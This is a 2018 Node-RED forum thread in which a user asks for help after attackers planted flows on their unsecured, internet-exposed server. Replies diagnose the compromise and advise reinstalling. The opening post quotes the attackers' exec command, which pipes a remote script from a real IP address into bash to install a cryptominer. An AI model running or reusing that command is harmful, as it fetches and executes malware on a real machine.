# Have I got a virus in Node-red?

**URL:** <https://discourse.nodered.org/t/have-i-got-a-virus-in-node-red/3450>\
**Category:** General\
**Created:** [25 September 2018 17:44 UTC](https://discourse.nodered.org/t/have-i-got-a-virus-in-node-red/3450 "2018-09-25T17:44:37Z")\
**Posts on this page:** 6\
**Page:** 1

<div class="post-metadata">

**Author:** ![Alis5](https://avatars.discourse-cdn.com/v4/letter/a/4491bb/32.png) [@Alis5](https://discourse.nodered.org/u/Alis5)\
**Post date:** [25 September 2018 17:44 UTC](https://discourse.nodered.org/t/have-i-got-a-virus-in-node-red/3450/1 "2018-09-25T17:44:37Z")

</div>

Hi,

I get alot of new tabs, with 3 things in them.  
Timestamp, exec and msg.payload  
All new tabs look the same. The exce node has this in it:  
"curl -s [http://192.99.142.226:8220/mr.sh](http://192.99.142.226:8220/mr.sh) | bash -sh"

Which seem to be a cryptominig crap... (I found out after some googling).

It also goes in my cron (running on a ubuntu-server computer).

How do I delete this?  
I have tried to clean node red, plus the cron. But after a day it's all back there....  
Any ideas?

---

<div class="post-metadata">

**Author:** ![knolleary](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/knolleary/32/3_2.png) [@knolleary](https://discourse.nodered.org/u/knolleary)\
**Post date:** [25 September 2018 17:48 UTC](https://discourse.nodered.org/t/have-i-got-a-virus-in-node-red/3450/2 "2018-09-25T17:48:23Z")

</div>

Short answer: yes

Others have been affected by it this weekend: [Missing and mysterious new flows](https://discourse.nodered.org/t/missing-and-mysterious-new-flows/3421)

It comes as a result of you exposing node-red on the internet with no security applied.

Without doing a careful examination of what that script does, the only safe way to be sure is to reinstall the server. And make sure you secure node-red properly before considering exposing it on the internet. If you removed it without securing node-red, there's nothing stopping them from redeployed their flow.

---

<div class="post-metadata">

**Author:** ![TotallyInformation](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/totallyinformation/32/31_2.png) [@TotallyInformation](https://discourse.nodered.org/u/TotallyInformation)\
**Post date:** [25 September 2018 18:52 UTC](https://discourse.nodered.org/t/have-i-got-a-virus-in-node-red/3450/3 "2018-09-25T18:52:08Z")

</div>

If I get time, I'll report this to UK CiSP. I'll also see if I can track down the owner of that IP address and see if we can kill it off.

@knolleary, you might want to let the IBM security guys know since Node-RED still has associations with IBM.

Really, it needs someone to kill off that script.

---

<div class="post-metadata">

**Author:** ![stupifier](https://avatars.discourse-cdn.com/v4/letter/s/9e8a1a/32.png) [@stupifier](https://discourse.nodered.org/u/stupifier)\
**Post date:** [27 September 2018 19:00 UTC](https://discourse.nodered.org/t/have-i-got-a-virus-in-node-red/3450/4 "2018-09-27T19:00:39Z")

</div>

> **[What is this "sustes" in my process in my CPU stats? | DigitalOcean](https://www.digitalocean.com/community/questions/what-is-this-sustes-in-my-process-in-my-cpu-stats)**
>
> Under CPU Processes I have one thread running high at 54.50 % I have no clue what does it mean...

That link tells you what you missed......There is more to it than just clearing node-red and the cron job.

---

<div class="post-metadata">

**Author:** ![Alis5](https://avatars.discourse-cdn.com/v4/letter/a/4491bb/32.png) [@Alis5](https://discourse.nodered.org/u/Alis5)\
**Post date:** [27 September 2018 19:34 UTC](https://discourse.nodered.org/t/have-i-got-a-virus-in-node-red/3450/5 "2018-09-27T19:34:26Z")

</div>

Thanks!  
Have deleted those files as well now!

---

<div class="post-metadata">

**Author:** ![ukmoose](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/ukmoose/32/13_2.png) [@ukmoose](https://discourse.nodered.org/u/ukmoose)\
**Post date:** [27 September 2018 19:46 UTC](https://discourse.nodered.org/t/have-i-got-a-virus-in-node-red/3450/6 "2018-09-27T19:46:54Z")

</div>

That’s assuming you have identified all the software that has been downloaded.

To be absolutely safe you would need to reformat the hard disk and start again